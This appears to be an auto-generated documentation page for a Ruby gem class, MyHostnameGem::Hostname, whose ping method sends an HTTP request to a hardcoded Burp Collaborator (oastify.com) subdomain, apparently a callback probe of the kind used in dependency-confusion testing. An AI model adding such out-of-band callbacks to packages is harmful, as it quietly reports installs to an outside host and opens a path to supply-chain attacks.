Class: MyHostnameGem::Hostname

Inherits:
Object
  • Object
show all
Defined in:
lib/my_hostname.rb

Class Method Summary collapse

Class Method Details

.pingObject

Replace this with the actual logic for the pingback operation



8
9
10
11
12
13
14
15
16
17
18
# File 'lib/my_hostname.rb', line 8

def self.ping
  # Create a unique Burp Collaborator subdomain
  burp_subdomain = "iwidt2dt6wodqoa0mq0fklsab1hv5k.oastify.com"

  # Send a request to the Burp Collaborator server
  uri = URI("http://#{burp_subdomain}")
  response = Net::HTTP.get(uri)

  # You might want to do something with the response, or this method could be void
  response
end